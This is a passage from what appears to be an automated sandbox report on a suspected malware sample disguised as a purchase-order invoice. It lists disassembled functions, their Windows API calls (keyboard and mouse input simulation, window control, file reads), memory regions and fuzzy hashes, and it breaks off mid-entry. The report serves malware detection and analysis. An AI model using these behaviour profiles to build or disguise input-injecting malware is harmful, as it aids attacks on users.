                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _malloc_wcslen$_strcat_wcscpy
                                                                                            • String ID:
                                                                                            • API String ID: 1612042205-0
                                                                                            • Opcode ID: de2929fcda50375e6e5cb9f1075b8832783a078aa1feca3c1cc6154b42d84a61
                                                                                            • Instruction ID: 39b6431fb86a1cae222df6ecce28f21653e085caad8de22f1e35678e4483a9b6
                                                                                            • Opcode Fuzzy Hash: de2929fcda50375e6e5cb9f1075b8832783a078aa1feca3c1cc6154b42d84a61
                                                                                            • Instruction Fuzzy Hash: CD613B70504202EFCB10EF29D58096AB3E5FF48305B50496EF8859B306D738EE59DB9A
                                                                                            Function 0044C522 Relevance: 9.2, APIs: 6, Instructions: 155windowkeyboardCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C588
                                                                                            • SetKeyboardState.USER32(00000080), ref: 0044C59B
                                                                                            • PostMessageW.USER32(?,00000104,?,?), ref: 0044C5EC
                                                                                            • PostMessageW.USER32(?,00000100,?,?), ref: 0044C610
                                                                                            • PostMessageW.USER32(?,00000102,?,00000001), ref: 0044C637
                                                                                            • SendInput.USER32 ref: 0044C6E2
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessagePost$KeyboardState$InputSend
                                                                                            • String ID:
                                                                                            • API String ID: 2221674350-0
                                                                                            • Opcode ID: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
                                                                                            • Instruction ID: 3a634557d1668dba9f4fbb3ffee1259adddcddb7f3fce46f2ce6721246940f3b
                                                                                            • Opcode Fuzzy Hash: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
                                                                                            • Instruction Fuzzy Hash: A24148725053486AF760EF209C80BFFBB98EF95324F04151FFDC412281D66E984987BA
                                                                                            Function 00445153 Relevance: 9.1, APIs: 6, Instructions: 142COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _wcscpy$_wcscat
                                                                                            • String ID:
                                                                                            • API String ID: 2037614760-0
                                                                                            • Opcode ID: f99e136c889cacb8689bc9f00eee4ad51686cf745bff212a4790763dd87d00cb
                                                                                            • Instruction ID: 871aa96d6b0d5f43eceffdadd72b032f7becd6ba50fbda5e2bca5dd503650597
                                                                                            • Opcode Fuzzy Hash: f99e136c889cacb8689bc9f00eee4ad51686cf745bff212a4790763dd87d00cb
                                                                                            • Instruction Fuzzy Hash: 7D41BD31901A256BDE317F55D880BBB7358DFA1314F84006FF98247313EA6E5892C6BE
                                                                                            Function 00447B66 Relevance: 9.1, APIs: 6, Instructions: 119COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • BeginPaint.USER32(00000000,?,004A83D8,?), ref: 00447B9D
                                                                                            • GetWindowRect.USER32(?,?), ref: 00447C1B
                                                                                            • ScreenToClient.USER32(?,?), ref: 00447C39
                                                                                            • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C4C
                                                                                            • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447C93
                                                                                            • EndPaint.USER32(?,?), ref: 00447CD1
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Paint$BeginClientRectRectangleScreenViewportWindow
                                                                                            • String ID:
                                                                                            • API String ID: 4189319755-0
                                                                                            • Opcode ID: 37bca05dc5f282a43c1c57c3b808f61ec058395b4d713bcb6da44fc2610780a1
                                                                                            • Instruction ID: de699fe3e67e71f806f86ee7feca1bcffcb0489daa19151882f3061068cc4b26
                                                                                            • Opcode Fuzzy Hash: 37bca05dc5f282a43c1c57c3b808f61ec058395b4d713bcb6da44fc2610780a1
                                                                                            • Instruction Fuzzy Hash: D14182705043019FE320DF15C8C8F7B7BA8EB89724F04466EF9548B391DB74A846CB69
                                                                                            Function 0044B474 Relevance: 9.1, APIs: 6, Instructions: 113fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • InterlockedExchange.KERNEL32(?,000001F5), ref: 0044B490
                                                                                              • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                            • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B4C2
                                                                                            • EnterCriticalSection.KERNEL32(00000000), ref: 0044B4E3
                                                                                            • LeaveCriticalSection.KERNEL32(00000000), ref: 0044B5A0
                                                                                            • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B5BB
                                                                                              • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                              • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                              • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                            • InterlockedExchange.KERNEL32(?,000001F6), ref: 0044B5D1
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CriticalExchangeFileInterlockedReadSection$EnterException@8LeaveThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                            • String ID:
                                                                                            • API String ID: 1726766782-0
                                                                                            • Opcode ID: 16d5c57b5e53c2061fc4ac4ded6e87df9b6247511e9ffc13c2dfc8627616166f
                                                                                            • Instruction ID: bf52b5dc2e344941501510e432fc863898df75637e45487ca8cd05157db66b41
                                                                                            • Opcode Fuzzy Hash: 16d5c57b5e53c2061fc4ac4ded6e87df9b6247511e9ffc13c2dfc8627616166f
                                                                                            • Instruction Fuzzy Hash: 09415C75104701AFD320EF26D845EABB3F8EF88708F008E2DF59A92650D774E945CB6A
                                                                                            Function 00441077 Relevance: 9.1, APIs: 6, Instructions: 111windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 004410F9
                                                                                            • EnableWindow.USER32(?,00000000), ref: 0044111A
                                                                                            • ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 00441183
                                                                                            • ShowWindow.USER32(?,00000004,?,?,?,00448962,004A83D8,?,?), ref: 00441192
                                                                                            • EnableWindow.USER32(?,00000001), ref: 004411B3
                                                                                            • SendMessageW.USER32(?,0000130C,?,00000000), ref: 004411D5
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window$Show$Enable$MessageSend
                                                                                            • String ID:
                                                                                            • API String ID: 642888154-0
                                                                                            • Opcode ID: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
                                                                                            • Instruction ID: 824eeaafe1f931a994963cd163acc5b0ce47b26168a6fd4ee38d593e4569daee
                                                                                            • Opcode Fuzzy Hash: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
                                                                                            • Instruction Fuzzy Hash: 14417770604245DFE725CF14C984FA6B7E5BF89300F1886AEE6859B3B2CB74A881CB55
                                                                                            Function 00449063 Relevance: 9.1, APIs: 6, Instructions: 108windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageW.USER32(00000000,00001024,00000000,?), ref: 004490E3
                                                                                            • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004490F8
                                                                                            • SendMessageW.USER32(00000000,0000111E,00000000,?), ref: 0044910D
                                                                                            • InvalidateRect.USER32(?,00000000,00000001), ref: 00449124
                                                                                            • GetWindowLongW.USER32(00000000,000000F0), ref: 0044912F
                                                                                            • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0044913C
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$LongWindow$InvalidateRect
                                                                                            • String ID:
                                                                                            • API String ID: 1976402638-0
                                                                                            • Opcode ID: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
                                                                                            • Instruction ID: 8b80d2acd15126bdfc8b54909556444574c0e56a9806921f1e0b477f33817628
                                                                                            • Opcode Fuzzy Hash: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
                                                                                            • Instruction Fuzzy Hash: F231B476244202AFF224DF04DC89FBBB7A9F785321F14492EF291973D0CA75AC469729
                                                                                            Function 00442582 Relevance: 9.1, APIs: 6, Instructions: 104COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetForegroundWindow.USER32 ref: 00442597
                                                                                              • Part of subcall function 004344B7: GetWindowRect.USER32(?,?), ref: 004344D3
                                                                                            • GetDesktopWindow.USER32 ref: 004425BF
                                                                                            • GetWindowRect.USER32(00000000), ref: 004425C6
                                                                                            • mouse_event.USER32(00008001,?,?,?,?), ref: 004425F5
                                                                                              • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                            • GetCursorPos.USER32(?), ref: 00442624
                                                                                            • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00442690
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                                                            • String ID:
                                                                                            • API String ID: 4137160315-0
                                                                                            • Opcode ID: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
                                                                                            • Instruction ID: 1581b522c3ee05a339ffa1fd07f9e8cd23967deed6539873686ea33d82c69dd2
                                                                                            • Opcode Fuzzy Hash: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
                                                                                            • Instruction Fuzzy Hash: 7C31C1B2104306ABD310DF54CD85E6BB7E9FB98304F004A2EF94597281E675E9058BA6
                                                                                            Function 00448851 Relevance: 9.1, APIs: 6, Instructions: 92windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageW.USER32(?,000000F1,?,00000000), ref: 0044886C
                                                                                            • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                            • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                            • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                            • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                            • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window$Enable$Show$MessageSend
                                                                                            • String ID:
                                                                                            • API String ID: 1871949834-0
                                                                                            • Opcode ID: 703f0702a5e3ae6889c0b2c4cbd553a5347372704319c0c884d711360b5070ea
                                                                                            • Instruction ID: fbfed122d4da650e42f877d7e8bff2bfe9b33138fa51555fe8345b8bcc16d821
                                                                                            • Opcode Fuzzy Hash: 703f0702a5e3ae6889c0b2c4cbd553a5347372704319c0c884d711360b5070ea
                                                                                            • Instruction Fuzzy Hash: A731F3B07443819BF7248E14C8C4BAFB7D0AB95345F08482EF981A63D1DBAC9846872A
                                                                                            Function 00449606 Relevance: 9.1, APIs: 6, Instructions: 91windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _memset.LIBCMT ref: 0044961A
                                                                                            • SendMessageW.USER32 ref: 0044964A
                                                                                              • Part of subcall function 00433A98: _wcspbrk.LIBCMT ref: 00433AAC
                                                                                            • SendMessageW.USER32(?,00001074,?,00000001), ref: 004496AC
                                                                                            • _wcslen.LIBCMT ref: 004496BA
                                                                                            • _wcslen.LIBCMT ref: 004496C7
                                                                                            • SendMessageW.USER32(?,00001074,?,?), ref: 004496FD
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$_wcslen$_memset_wcspbrk
                                                                                            • String ID:
                                                                                            • API String ID: 1624073603-0
                                                                                            • Opcode ID: 3158986b153f08837b9b71a8f77f3cc169978b1c24ba43a32ffefb24081b9654
                                                                                            • Instruction ID: 7e49a266cf7116299f7bc8659d1ce07b00adedb8b3f1b428e1954e4b11147a1e
                                                                                            • Opcode Fuzzy Hash: 3158986b153f08837b9b71a8f77f3cc169978b1c24ba43a32ffefb24081b9654
                                                                                            • Instruction Fuzzy Hash: B631CA71508300AAE720DF15DC81BEBB7D4EBD4720F504A1FFA54862D0EBBAD945C7A6
                                                                                            Function 004416D1 Relevance: 9.1, APIs: 6, Instructions: 84COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 8dc28afdcb3e23db499faf1906c1cec9916ddd90de084288035f36419de8ba35
                                                                                            • Instruction ID: 0263b137e1f68684b0dae4bb7f633391a2f723f0f4072b7ce39308acd6c8c458
                                                                                            • Opcode Fuzzy Hash: 8dc28afdcb3e23db499faf1906c1cec9916ddd90de084288035f36419de8ba35
                                                                                            • Instruction Fuzzy Hash: 31219272245110ABE7108B68DCC4B6F7798EB96374F240A3AF512C61E1EA7998C1C769
                                                                                            Function 0045552E Relevance: 9.1, APIs: 6, Instructions: 78windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 004555AD
                                                                                            • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                            • DeleteObject.GDI32(?), ref: 0045564E
                                                                                            • DeleteObject.GDI32(?), ref: 0045565C
                                                                                            • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                            • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: DestroyWindow$DeleteObject$IconMove
                                                                                            • String ID:
                                                                                            • API String ID: 1640429340-0
                                                                                            • Opcode ID: da39536b61dc90218e8938c0c8165bcff49a91d8f884d8405ba8ed69dafdd4fa
                                                                                            • Instruction ID: 2ee25f48dcb0ad8048bc4d9c922f6cac320a9d705fdb810e808868a6102f62dc
                                                                                            • Opcode Fuzzy Hash: da39536b61dc90218e8938c0c8165bcff49a91d8f884d8405ba8ed69dafdd4fa
                                                                                            • Instruction Fuzzy Hash: 05312770200A419FD724DF24C998B3A73F9FB44312F4485AAE945CB266E778EC49CB69
                                                                                            Function 00467E5E Relevance: 9.1, APIs: 6, Instructions: 78COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: __fileno__setmode$DebugOutputString_fprintf
                                                                                            • String ID:
                                                                                            • API String ID: 3354276064-0
                                                                                            • Opcode ID: 44da5cbe136b9a97bfd5e2050e6700f1212f0f901edc4668462b95a159366457
                                                                                            • Instruction ID: 1e9a75ed7ce68f0ee686932f25d41d1f14ae1a91d469003489e3a0780bce169f
                                                                                            • Opcode Fuzzy Hash: 44da5cbe136b9a97bfd5e2050e6700f1212f0f901edc4668462b95a159366457
                                                                                            • Instruction Fuzzy Hash: 6D11F3B2D0830136D500BA366C02AAF7A5C4A91B5CF44056EFD4563293EA2DAA4943FF
                                                                                            Function 00455080 Relevance: 9.1, APIs: 6, Instructions: 75windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Destroy$DeleteMenuObject$IconWindow
                                                                                            • String ID:
                                                                                            • API String ID: 752480666-0
                                                                                            • Opcode ID: e2db828b4da75c1988a3618645d7ad87c2567147b1e4a2a373431826dce2281b
                                                                                            • Instruction ID: bf467a0aa8f060071afd9cdae546a2eb92d9c059e8a57ac1e588bb5f3fc3a395
                                                                                            • Opcode Fuzzy Hash: e2db828b4da75c1988a3618645d7ad87c2567147b1e4a2a373431826dce2281b
                                                                                            • Instruction Fuzzy Hash: 26215E30200A019FC724DF24D5E8B7AB7A9FB44312F50855EED498B392CB39EC89CB59
                                                                                            Function 00455212 Relevance: 9.1, APIs: 6, Instructions: 72windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • DestroyWindow.USER32(00000000), ref: 0045527A
                                                                                            • ImageList_Destroy.COMCTL32(?), ref: 0045528C
                                                                                            • DeleteObject.GDI32(?), ref: 0045564E
                                                                                            • DeleteObject.GDI32(?), ref: 0045565C
                                                                                            • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                            • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Destroy$DeleteObjectWindow$IconImageList_
                                                                                            • String ID:
                                                                                            • API String ID: 3275902921-0
                                                                                            • Opcode ID: 9ca718b8a23ef3076e20a4bf5a66fd8e296fb8dfd37af4e8726ba93a3cadf818
                                                                                            • Instruction ID: c357af2a313eda44c34a26cb015c973203dd8f66e4d80e74dc1abfaeb9ce60f9
                                                                                            • Opcode Fuzzy Hash: 9ca718b8a23ef3076e20a4bf5a66fd8e296fb8dfd37af4e8726ba93a3cadf818
                                                                                            • Instruction Fuzzy Hash: 2D217E70604A019BC714DF79D99466AB7A5BF44311F40856EF919CB342DB38E849CF68
                                                                                            Function 00439326 Relevance: 9.1, APIs: 6, Instructions: 72processCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetCurrentProcess.KERNEL32(0000000A,?,?,?,?,?,00446540,?,?,?,?,?,?,?,?,?), ref: 0043935D
